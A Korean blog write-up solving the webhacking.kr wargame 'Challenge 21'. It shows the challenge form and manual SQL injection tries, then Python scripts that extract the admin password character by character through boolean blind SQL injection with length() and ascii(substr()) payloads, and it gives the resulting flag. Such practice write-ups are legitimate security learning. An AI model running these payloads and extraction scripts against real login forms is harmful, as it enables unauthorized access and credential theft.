반응형

<html>
<head>
<title>Challenge 21</title>
<style type="text/css">
body { background:black; color:white; font-size:10pt; }
input { background:silver; color:black; font-size:9pt; }
</style>
</head>
<body><br><br>
<center>
<form method=get action=index.php>
<table border=0 align=center cellpadding=10 cellspacing=0>
<tr><td colspan=2 align=center><h1>BLIND SQL INJECTION</h1></td></tr>
<tr><td align=center>id : <input name=id size=30></td><td></td></tr>
<tr><td align=center>pw : <input name=pw size=30></td><td><input type=submit></td></tr>
<tr><td colspan=2 align=center style=background:silver;color:black;font-size:9pt;>Result : <b>
</b></td></tr>
</form>
</center>
</body>
</html>

 


 

 

id에 입력한 값은 id 파라미터의 값이 되고, pw에 입력한 값은 pw 파라미터의 값이 된다.

 

 

admin / admin을 입력해봤더니 login fail이라고 뜬다.

 

 

guest / guest을 입력해봤더니 login success가 뜬다.

 

 

admin' or 1=1 -- / admin을 입력하여 인증 우회를 하려고 했더니 wrong password가 떴다.

 

 

admin / 'or 1=1 -- 을 입력하여 pw를 우회하려고 했더니 id를 우회하려고 했을 때와 같이 wrong password가 떴다.

 


풀이

 

올바른 쿼리를 입력했을 때는 wrong password가 출력되고, 올바르지 않은 쿼리를 입력하면 login fail이 출력된다.

 

 

pw의 길이를 알기 위해 위와 같이 쿼리를 작성했더니 wrong password가 떴다.

20은 임의로 지정한 값이다.

(admin / ' or id='admin' and length(pw) > 20 -- )

 

id가 admin이고, pw의 길이가 20보다 크니 위의 쿼리는 참이 됐고, 그래서 wrong password가 떴다.

 

 

pw의 길이가 20보다 크다는 것은 알았다.

 

50보다도 클지 궁금하여 위와 같이 작성했더니 login fail이 떴다.

 

즉, pw의 길이는 50보다 크진 않다는 것이다.

 

(admin / ' or id='admin' and length(pw) > 50 -- )

 

from gettext import find
import requests

url = 'https://webhacking.kr/challenge/bonus-1/index.php'

def find_pw_length():
    for i in range(1, 50):
        payload = f"?id=admin&pw=' or id='admin' and length(pw)={i} -- "
        res = requests.get(url+payload)
        if "wrong password" in res.text:
            break
    print("pw_len : ", i)
    
find_pw_length()

 

위의 코드를 이용하면 pw의 길이를 알 수 있다.

 

위에서 id가 admin이고 pw의 길이가 20보다 크냐는 쿼리가 참이므로 wrong password가 뜨고, pw의 길이가 50보다 크냐는 쿼리가  거짓이므로 login fail을 떴으니

 

이를 이용해 id가 'admin'이고 pw의 길이가 i인 데이터가 있으면 참이므로 wrong password를 출력할 것이고, 이때의 i의 값이 pw의 길이가 될 것이다.

 

from distutils.spawn import find_executable
from gettext import find
import requests

url = 'https://webhacking.kr/challenge/bonus-1/index.php'
cookie = {"PHPSESSID":"쿠키값"}

def find_pw_length():
    for i in range(1, 50):
        payload = f"?id=admin&pw=' or id='admin' and length(pw)={i} -- "
        res = requests.get(url+payload, cookies=cookie)
        if "wrong password" in res.text:
            break
    print("pw_len : ", i)
    return i
    
def find_pw():
    pw = ""
    pw_len = find_pw_length()
    for i in range(1, pw_len+1):
        for j in range(33, 133):
            payload = f"?id=admin&pw=' or id='admin' and ascii(substr(pw, {i}, 1)) = {j} -- "
            res = requests.get(url+payload, cookies=cookie)
            if "wrong password" in res.text:
                pw += chr(j)
                print("pw is : " + pw)
                break
find_pw()

 

패스워드의 길이를 알아냈으니 URL에서 ascii()와 substr()를 이용해 각 자리가 ASCII 문자 중 어떤 것인지 참과 거짓으로 판별한다.

(해당 문자가 포함은 되는데 맞지 않으면 wrong password를 출력할 것이고, 문자가 포함되지도 않는거라면 login fail이 뜰 것이다.)

 

there_is_no_rest_for_the_white_angel

 


https://araikuma.tistory.com/521

반응형

'전쟁 > Webhacking.kr' 카테고리의 다른 글

[Webhacking.kr] old-2  (0) 2022.07.22
[Webhacking.kr] old-46  (0) 2022.07.21
[Webhacking.kr] old-49  (0) 2022.07.21
[Webhacking.kr] old-7  (0) 2022.07.19
[Webhacking.kr] old-61  (0) 2022.07.19

+ Recent posts